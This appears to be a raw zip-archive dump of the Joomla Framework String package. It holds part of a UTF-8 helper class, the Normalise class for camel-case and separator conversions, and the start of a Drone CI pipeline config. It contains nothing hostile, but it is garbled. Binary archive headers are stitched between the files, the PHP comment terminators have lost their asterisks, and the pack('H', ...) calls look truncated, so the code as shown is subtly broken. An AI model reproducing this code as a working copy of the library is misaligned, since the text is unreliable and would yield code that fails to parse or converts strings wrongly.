https://www.php.net/manual/en/reference.pcre.pattern.modifiers.php#54805 * @since 1.3.0 / public static function compliant($str) { return utf8_compliant($str); } /* * Converts Unicode sequences to UTF-8 string. * * @param string $str Unicode string to convert * * @return string UTF-8 string * * @since 1.3.0 / public static function unicode_to_utf8($str) { if (\extension_loaded('mbstring')) { return preg_replace_callback( '/\\\\u([0-9a-fA-F]{4})/', static function ($match) { return mb_convert_encoding(pack('H', $match[1]), 'UTF-8', 'UCS-2BE'); }, $str ); } return $str; } /** * Converts Unicode sequences to UTF-16 string. * * @param string $str Unicode string to convert * * @return string UTF-16 string * * @since 1.3.0 / public static function unicode_to_utf16($str) { if (\extension_loaded('mbstring')) { return preg_replace_callback( '/\\\\u([0-9a-fA-F]{4})/', static function ($match) { return mb_convert_encoding(pack('H', $match[1]), 'UTF-8', 'UTF-16BE'); }, $str ); } return $str; } } PK��AD�\A;b�g��g��src/Normalise.phpnu��[��<?php /** * Part of the Joomla Framework String Package * * @copyright Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE / namespace Joomla\String; /* * Joomla Framework String Normalise Class * * @since 1.0 / abstract class Normalise { /* * Method to convert a string from camel case. * * This method offers two modes. Grouped allows for splitting on groups of uppercase characters as follows: * * "FooBarABCDef" becomes array("Foo", "Bar", "ABC", "Def") * "JFooBar" becomes array("J", "Foo", "Bar") * "J001FooBar002" becomes array("J001", "Foo", "Bar002") * "abcDef" becomes array("abc", "Def") * "abc_defGhi_Jkl" becomes array("abc_def", "Ghi_Jkl") * "ThisIsA_NASAAstronaut" becomes array("This", "Is", "A_NASA", "Astronaut")) * "JohnFitzgerald_Kennedy" becomes array("John", "Fitzgerald_Kennedy")) * * Non-grouped will split strings at each uppercase character. * * @param string $input The string input (ASCII only). * @param boolean $grouped Optionally allows splitting on groups of uppercase characters. * * @return array\|string The space separated string, as an array if grouped. * * @since 1.0 / public static function fromCamelCase($input, $grouped = false) { return $grouped ? preg_split('/(?<=[^A-Z_])(?=[A-Z])\|(?<=[A-Z])(?=[A-Z][^A-Z_])/x', $input) : trim(preg_replace('#([A-Z])#', ' $1', $input)); } /* * Method to convert a string into camel case. * * @param string $input The string input (ASCII only). * * @return string The camel case string. * * @since 1.0 / public static function toCamelCase($input) { // Convert words to uppercase and then remove spaces. $input = static::toSpaceSeparated($input); $input = ucwords($input); $input = str_ireplace(' ', '', $input); return $input; } /* * Method to convert a string into dash separated form. * * @param string $input The string input (ASCII only). * * @return string The dash separated string. * * @since 1.0 / public static function toDashSeparated($input) { // Convert spaces and underscores to dashes. return preg_replace('#[ \-_]+#', '-', $input); } /* * Method to convert a string into space separated form. * * @param string $input The string input (ASCII only). * * @return string The space separated string. * * @since 1.0 / public static function toSpaceSeparated($input) { // Convert underscores and dashes to spaces. return preg_replace('#[ \-_]+#', ' ', $input); } /* * Method to convert a string into underscore separated form. * * @param string $input The string input (ASCII only). * * @return string The underscore separated string. * * @since 1.0 / public static function toUnderscoreSeparated($input) { // Convert spaces and dashes to underscores. return preg_replace('#[ \-_]+#', '_', $input); } /* * Method to convert a string into variable form. * * @param string $input The string input (ASCII only). * * @return string The variable string. * * @since 1.0 / public static function toVariable($input) { // Remove dashes and underscores, then convert to camel case. $input = static::toCamelCase($input); // Remove leading digits. $input = preg_replace('#^[0-9]+#', '', $input); // Lowercase the first character. $input = lcfirst($input); return $input; } /* * Method to convert a string into key form. * * @param string $input The string input (ASCII only). * * @return string The key string. * * @since 1.0 / public static function toKey($input) { // Remove spaces and dashes, then convert to lower case. return strtolower(static::toUnderscoreSeparated($input)); } } PK��AD�\��o��o�� .drone.ymlnu��[��--- { "kind": "pipeline", "name": "Codequality", "steps": [ { "commands": [ "php -v", "composer update", "composer require phpmd/phpmd phpstan/phpstan" ], "image": "joomlaprojects/docker-images:php7.4", "name": "composer", "volumes": [ { "name": "composer-cache", "path": "/tmp/composer-cache" } ] }, { "commands": [ "vendor/bin/phpcs --config-set installed_paths vendor/joomla/coding-standards", "vendor/bin/phpcs --standard=ruleset.xml src/" ], "depends": [ "composer" ], "image": "joomlaprojects/docker-images:php7.4", "name": "phpcs" }, { "commands": [ "vendor/bin/phpmd src text cleancode", "vendor/bin/phpmd src text codesize", "vendor/bin/phpmd src text controversial", "vendor/bin/phpmd src text design", "vendor/bin/phpmd src text unusedcode" ], "depends": [ "composer" ], "failure": "ignore", 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